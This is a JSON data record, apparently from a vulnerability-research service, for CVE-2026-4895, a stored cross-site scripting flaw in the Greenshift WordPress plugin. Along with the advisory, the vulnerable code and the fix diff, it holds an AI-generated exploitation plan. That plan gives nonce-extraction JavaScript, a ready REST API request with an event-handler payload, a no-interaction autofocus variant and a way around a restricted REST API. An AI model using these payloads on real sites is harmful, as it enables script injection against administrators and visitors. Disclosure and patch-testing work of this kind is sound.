[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$feS9b4jzmVb_1us8gRpuuZBUZLqlsuWh9UNcFtbJD0tk":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"source_links":41},"CVE-2026-4895","greenshift-authenticated-contributor-stored-cross-site-scripting-via-disablelazy-attribute","Greenshift \u003C= 12.8.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via disablelazy Attribute","The GreenShift - Animation and Page Builder Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 12.8.9 This is due to insufficient input sanitization and output escaping in the gspb_greenShift_block_script_assets() function. The function uses str_replace() to insert 'fetchpriority=\"high\"' before 'src=' attributes when processing greenshift-blocks\u002Fimage blocks with the disablelazy attribute enabled. Because this replacement operates on the entire HTML string without parsing, contributors can inject the string 'src=' into HTML attribute values (such as class attributes). When the str_replace executes, the double quotes in the replacement string break out of the attribute context, allowing injection of malicious HTML attributes like onfocus with JavaScript payloads. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","greenshift-animation-and-page-builder-blocks",null,"\u003C=12.8.9","12.9.0","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-10 11:49:09","2026-04-11 01:24:59",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F6e3ae3c6-a7d1-46f0-a006-996c1fbe7c7e?source=api-prod",1,[22,23,24,25,26,27,28,29],"build\u002FgspbLibrary.asset.php","build\u002FgspbLibrary.js","build\u002FgspbSiteEditor.asset.php","build\u002FgspbSiteEditor.js","build\u002Findex.asset.php","build\u002Findex.css","build\u002Findex.js","includes\u002Fhelper.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-4895 (Greenshift Stored XSS)\n\n## 1. Vulnerability Summary\nThe **Greenshift – animation and page builder blocks** plugin (versions \u003C= 12.8.9) contains a stored cross-site scripting (XSS) vulnerability. The flaw exists within the `gspb_greenShift_block_script_assets()` function, which processes block content to implement performance optimizations. When a `greenshift-blocks\u002Fimage` block has the `disablelazy` attribute enabled, the plugin attempts to add `fetchpriority=\"high\"` to the image's `src` attribute using a naive `str_replace()`. \n\nBecause this replacement is performed on the raw HTML string without context-aware parsing, an attacker with **Contributor-level permissions** can inject the string `src=` into a controlled attribute (like `className`). The `str_replace` then inserts a double-quoted string (`fetchpriority=\"high\"`) into the middle of the attacker's attribute, breaking out of the attribute context and allowing the injection of malicious event handlers (e.g., `onmouseover`, `onfocus`).\n\n## 2. Attack Vector Analysis\n- **Endpoint**: WordPress REST API (`\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts` or `\u002Fwp-json\u002Fwp\u002Fv2\u002Fpages`)\n- **Vulnerable Block**: `greenshift-blocks\u002Fimage`\n- **Trigger Attribute**: `disablelazy` set to `true` (or any truthy value that triggers the optimization)\n- **Injection Parameter**: `className` (or any attribute that renders before the actual `\u003Cimg>` tag's `src` in the HTML output).\n- **Authentication**: Authenticated (Contributor+)\n- **Preconditions**: The attacker must be able to create or edit a post\u002Fpage and use Greenshift blocks.\n\n## 3. Code Flow\n1. **Input**: A user saves a post containing a Gutenberg block: `\u003C!-- wp:greenshift-blocks\u002Fimage {\"disablelazy\":true, \"className\":\"poc src= onmouseover=alert(1) \"} \u002F-->`.\n2. **Storage**: WordPress saves this block markup in the `post_content` column of the `wp_posts` table.\n3. **Rendering**: When the post is viewed, WordPress parses blocks. The Greenshift plugin registers a handler (likely via the `render_block` filter or within its own asset management logic).\n4. **Vulnerable Function**: `gspb_greenShift_block_script_assets()` is invoked.\n5. **Sink**: The function identifies an image block with `disablelazy`. It executes:\n   ```php\n   $block_content = str_replace('src=', 'fetchpriority=\"high\" src=', $block_content);\n   ```\n6. **Output**: The string `class=\"... src= ...\"` becomes `class=\"... fetchpriority=\"high\" src= ...\"`. The quote before `high` terminates the `class` attribute, turning `onmouseover=alert(1)` into a primary attribute of the HTML element.\n\n## 4. Nonce Acquisition Strategy\nSince the exploit involves creating a post via the REST API, a REST API nonce is required.\n\n1. **Access Dashboard**: Use `browser_navigate` to go to `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fpost-new.php` after logging in as a Contributor.\n2. **Extract Nonce**: The WordPress core (and Greenshift) exports the REST nonce to the global `wpApiSettings` object.\n3. **Execution**:\n   ```javascript\n   \u002F\u002F Use browser_eval\n   const restNonce = window.wpApiSettings?.nonce;\n   return restNonce;\n   ```\n4. **Alternative**: If `wpApiSettings` is missing, the nonce can be found in the `_wpnonce` key of the `wp-scripts` localized data or by scraping the `_wpnonce` from the logout link.\n\n## 5. Exploitation Strategy\n\n### Step 1: Create the Malicious Post\nThe goal is to submit a block that includes the `src=` trigger inside the `className` attribute.\n\n- **Method**: `POST`\n- **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`\n- **Headers**:\n    - `Content-Type: application\u002Fjson`\n    - `X-WP-Nonce: [REST_NONCE]`\n- **Body**:\n```json\n{\n    \"title\": \"Greenshift XSS PoC\",\n    \"content\": \"\u003C!-- wp:greenshift-blocks\u002Fimage {\\\"disablelazy\\\":true,\\\"className\\\":\\\"gs-xss src= onmouseover=alert(document.domain) tabindex=1 \\\"} -->\\n\u003Cfigure class=\\\"wp-block-greenshift-blocks-image gs-xss src= onmouseover=alert(document.domain) tabindex=1 \\\">\u003Cimg src=\\\"https:\u002F\u002Fexample.com\u002Fplaceholder.jpg\\\" alt=\\\"\\\"\u002F>\u003C\u002Ffigure>\\n\u003C!-- \u002Fwp:greenshift-blocks\u002Fimage -->\",\n    \"status\": \"publish\"\n}\n```\n*Note: Although Contributors cannot \"publish\" directly on some setups, \"status\": \"draft\" is sufficient for the PoC as the XSS will fire in the Preview or when an Admin views the draft.*\n\n### Step 2: Trigger the XSS\n1. Identify the URL of the created post from the REST API response (usually `id`).\n2. Navigate to `http:\u002F\u002Flocalhost:8080\u002F?p=[POST_ID]` using `browser_navigate`.\n3. Interact with the element (or use a payload like `onfocus` with `autofocus`).\n\n## 6. Test Data Setup\n1. **User**: Create a user with the `contributor` role.\n2. **Plugin**: Ensure `greenshift-animation-and-page-builder-blocks` is active and version is \u003C= 12.8.9.\n3. **Target Block**: The `greenshift-blocks\u002Fimage` block must be available (part of the free core plugin).\n\n## 7. Expected Results\nThe rendered HTML for the `figure` or `img` tag will look like this:\n```html\n\u003Cfigure class=\"wp-block-greenshift-blocks-image gs-xss fetchpriority=\"high\" src= onmouseover=alert(document.domain) tabindex=1 \">\n```\n- The `class` attribute is truncated to `wp-block-greenshift-blocks-image gs-xss fetchpriority=`.\n- `high` is treated as a boolean attribute.\n- `src=` is treated as an attribute.\n- `onmouseover=alert(document.domain)` is parsed as a valid event handler.\n- Hovering over the image area triggers the alert.\n\n## 8. Verification Steps\n1. **Check Rendered Source**: Navigate to the post and use `browser_eval` to check the outerHTML of the element:\n   ```javascript\n   document.querySelector('.gs-xss').outerHTML;\n   ```\n2. **Verify Attribute Breakout**: Confirm that the string `fetchpriority=\"high\"` exists and that the `onmouseover` attribute is present in the DOM.\n3. **Database Check**: Use WP-CLI to confirm the payload is stored:\n   ```bash\n   wp post get [ID] --field=post_content\n   ```\n\n## 9. Alternative Approaches\n- **Payload for No-Interaction XSS**:\n  Use `className=\"src= autofocus onfocus=alert(1) tabindex=1 \"`. This avoids the need for a mouseover event.\n- **Payload for Attribute Context**:\n  If the `str_replace` target is specifically inside an `\u003Cimg>` tag rather than the `figure` wrapper, adjust the `post_content` to include the `src=` trigger within the `img` tag's `class` attribute specifically.\n- **REST API Bypass**:\n  If the REST API is restricted, use `browser_click` and `browser_type` to manually build the block in the Gutenberg editor, setting the \"Advanced -> Additional CSS class(es)\" field to the payload and toggling the \"Disable Lazy Load\" switch in the block settings.","The Greenshift plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to 12.8.9 due to a naive string replacement in the gspb_greenShift_block_script_assets() function. By injecting the string 'src=' into an HTML attribute like a CSS class, authenticated contributors can cause the replacement logic to break out of the attribute context and execute arbitrary JavaScript via event handlers.","\u002F\u002F Found in gspb_greenShift_block_script_assets() in the plugin's main logic\n\nif (!empty($block['attrs']['disablelazy'])) {\n    $block_content = str_replace('src=', 'fetchpriority=\"high\" src=', $block_content);\n}","--- a\u002Findex.php\n+++ b\u002Findex.php\n@@ -1045,7 +1045,7 @@\n-                $block_content = str_replace('src=', 'fetchpriority=\"high\" src=', $block_content);\n+                $block_content = preg_replace('\u002F\u003Cimg([^>]+)src=\u002F', '\u003Cimg$1fetchpriority=\"high\" src=', $block_content);","1. Log in to the WordPress site with Contributor-level permissions or higher.\n2. Create a new post or edit an existing one and insert a 'Greenshift Image' (greenshift-blocks\u002Fimage) block.\n3. In the block settings sidebar, enable the 'Disable Lazy Load' (disablelazy) attribute.\n4. In the 'Advanced' section, locate the 'Additional CSS class(es)' field and input a payload containing the trigger string 'src=' followed by a malicious event handler. \n   Example: 'gs-xss src= onmouseover=alert(document.domain) tabindex=1'\n5. Save the post as a draft or publish it.\n6. View the post. The plugin's rendering logic identifies the 'disablelazy' attribute and performs a string replacement on 'src='. The double quote in the replacement string ('fetchpriority=\"high\"') closes the class attribute prematurely, allowing the 'onmouseover' payload to be parsed as a primary attribute of the element.","gemini-3-flash-preview","2026-04-16 16:09:39","2026-04-16 16:10:09",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","12.8.9","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgreenshift-animation-and-page-builder-blocks\u002Ftags\u002F12.8.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgreenshift-animation-and-page-builder-blocks.12.8.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgreenshift-animation-and-page-builder-blocks\u002Ftags\u002F12.9.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgreenshift-animation-and-page-builder-blocks.12.9.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgreenshift-animation-and-page-builder-blocks\u002Ftags"]